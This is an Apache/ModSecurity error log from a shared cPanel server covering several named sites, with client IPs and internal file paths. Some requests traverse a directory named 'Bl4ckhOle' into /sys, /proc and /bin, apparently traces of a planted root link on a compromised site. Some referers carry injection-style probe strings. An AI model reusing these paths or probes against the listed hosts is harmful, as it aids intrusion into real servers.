[Fri Jul 17 08:51:41.297011 2026] [security2:error] [pid 2018767:tid 2018767] [client 47.82.8.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:64/subsystem/tty55/subsystem/ptmx/"] [unique_id "almfxaquHSHoCJK_V0SAmQAAABs"]
[Fri Jul 17 08:51:41.556583 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:41.991572 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:42.972421 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfxt0t9Kb_MdNxrg7BoQAAAAM"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:51:42.972456 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfxt0t9Kb_MdNxrg7BoQAAAAM"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:51:43.159649 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfxw5GPQ6hs4VrfMpAsAAAAAY"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:51:43.159679 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfxw5GPQ6hs4VrfMpAsAAAAAY"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:51:43.213343 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 47.79.10.240:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/subsystem/drivers_probe
[Fri Jul 17 08:51:44.026254 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:44.107302 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:44.287110 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:41644] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:45.457473 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:45.814089 2026] [ssl:error] [pid 2023579:tid 2023579] (70014)End of file found: [client 66.85.158.91:41716] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:46.626190 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:41752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:46.930489 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:47.270801 2026] [security2:error] [pid 1993574:tid 1993574] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sysnytech-global": Permission denied [hostname "sysnytech.com"] [uri "/wp-cron.php"] [unique_id "almfyd0t9Kb_MdNxrg7BowAAAAM"]
[Fri Jul 17 08:51:47.270837 2026] [security2:error] [pid 1993574:tid 1993574] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sysnytech-ip": Permission denied [hostname "sysnytech.com"] [uri "/wp-cron.php"] [unique_id "almfyd0t9Kb_MdNxrg7BowAAAAM"]
[Fri Jul 17 08:51:48.001410 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:41912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:48.163427 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:41916] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:48.593766 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:53.088893 2026] [security2:error] [pid 2013829:tid 2013829] [client 112.134.155.82:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/images/World Immunization Week.jpeg"] [unique_id "almf0Q7FYe46zHK_jL3PFQAAABk"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:51:53.088931 2026] [security2:error] [pid 2013829:tid 2013829] [client 112.134.155.82:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/images/World Immunization Week.jpeg"] [unique_id "almf0Q7FYe46zHK_jL3PFQAAABk"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:51:56.077025 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_rmsn"] [unique_id "almf1BAi3pC6yjXGNq1_-QAAAAU"]
[Fri Jul 17 08:51:56.077550 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_rmsn"] [unique_id "almf1BAi3pC6yjXGNq1_-QAAAAU"]
[Fri Jul 17 08:51:56.078267 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_rmsn"] [unique_id "almf1BAi3pC6yjXGNq1_-QAAAAU"]
[Fri Jul 17 08:51:56.915940 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:01.880088 2026] [rewrite:error] [pid 1993715:tid 1993715] [client 192.71.126.151:0] AH10411: Rewritten query string contains control characters or spaces
[Fri Jul 17 08:52:01.918061 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:03.545373 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:04.663780 2026] [security2:error] [pid 2018758:tid 2018758] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almf3IRpm5MObcED3Q9sNQAAABE"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:52:04.663831 2026] [security2:error] [pid 2018758:tid 2018758] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almf3IRpm5MObcED3Q9sNQAAABE"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:52:06.290714 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:06.631860 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory35/node0/memory53/node0/memory50/power/"] [unique_id "almf3lh1WDijTxd1xw5LzAAAAAc"]
[Fri Jul 17 08:52:06.631983 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory35/node0/memory53/node0/memory50/power/"] [unique_id "almf3lh1WDijTxd1xw5LzAAAAAc"]
[Fri Jul 17 08:52:07.001847 2026] [security2:error] [pid 2013797:tid 2013797] [client 81.158.124.222:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css"] [unique_id "almf3lh1WDijTxd1xw5LzQAAAAc"], referer: https://manaharasupercenter.lk/
[Fri Jul 17 08:52:07.001893 2026] [security2:error] [pid 2013797:tid 2013797] [client 81.158.124.222:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css"] [unique_id "almf3lh1WDijTxd1xw5LzQAAAAc"], referer: https://manaharasupercenter.lk/
[Fri Jul 17 08:52:07.042012 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:07.204311 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:07.685617 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:07.919490 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:08.423926 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:08.503776 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:09.095161 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:09.308805 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:09.854176 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:09.889085 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:42840] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:10.136890 2026] [core:error] [pid 2018770:tid 2018770] (13)Permission denied: [client 47.82.13.74:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-opt-cpanel-ea\\x2dphp81-root-usr-bin.mount/memory.pressure_level
[Fri Jul 17 08:52:10.336780 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 47.82.54.251:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/pnp0/00:02/firmware_node/subsystem/drivers_probe
[Fri Jul 17 08:52:11.144122 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:11.156491 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:11.315212 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:39446] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:12.441694 2026] [security2:error] [pid 2018768:tid 2018768] [client 81.158.124.222:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-includes/js/media-audiovideo.min.js"] [unique_id "almf5FCBpfuYyhJ140vR3QAAAB4"], referer: https://manaharasupercenter.lk/
[Fri Jul 17 08:52:12.441741 2026] [security2:error] [pid 2018768:tid 2018768] [client 81.158.124.222:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-includes/js/media-audiovideo.min.js"] [unique_id "almf5FCBpfuYyhJ140vR3QAAAB4"], referer: https://manaharasupercenter.lk/
[Fri Jul 17 08:52:12.723304 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:39634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:13.104696 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:13.265388 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:14.476107 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:16.293968 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:39968] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:17.171283 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/cpan-mirrors"] [unique_id "almf6RAi3pC6yjXGNq2ABgAAAAU"]
[Fri Jul 17 08:52:17.171606 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/cpan-mirrors"] [unique_id "almf6RAi3pC6yjXGNq2ABgAAAAU"]
[Fri Jul 17 08:52:17.171961 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/cpan-mirrors"] [unique_id "almf6RAi3pC6yjXGNq2ABgAAAAU"]
[Fri Jul 17 08:52:17.304492 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:40004] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:18.078565 2026] [security2:error] [pid 2023579:tid 2023579] [client 57.141.18.82:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory102/node0/memory7/node0/memory11/"] [unique_id "almf6uYpb_TFRze2EO3y3wAAAAE"]
[Fri Jul 17 08:52:18.078737 2026] [security2:error] [pid 2023579:tid 2023579] [client 57.141.18.82:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory102/node0/memory7/node0/memory11/"] [unique_id "almf6uYpb_TFRze2EO3y3wAAAAE"]
[Fri Jul 17 08:52:20.836116 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almf7Il9vhFBGA6D8l95NQAAAAw"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:52:20.836157 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almf7Il9vhFBGA6D8l95NQAAAAw"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:52:20.877748 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almf7A5GPQ6hs4VrfMpA0wAAAAY"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:52:20.877880 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almf7A5GPQ6hs4VrfMpA0wAAAAY"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:52:21.225009 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:40246] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:21.271003 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:21.756237 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:23.427135 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:23.830158 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:25.524742 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:26.039334 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:26.464362 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:27.538297 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:27.680146 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:29.213199 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:29.680797 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:29.728990 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:31.929514 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:37.332167 2026] [security2:error] [pid 2023579:tid 2023579] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/anandav2/"] [unique_id "almf_eYpb_TFRze2EO3y7AAAAAE"]
[Fri Jul 17 08:52:37.332977 2026] [security2:error] [pid 2023579:tid 2023579] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/anandav2/"] [unique_id "almf_eYpb_TFRze2EO3y7AAAAAE"]
[Fri Jul 17 08:52:37.382317 2026] [security2:error] [pid 2023579:tid 2023579] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/anandav2/"] [unique_id "almf_eYpb_TFRze2EO3y7AAAAAE"]
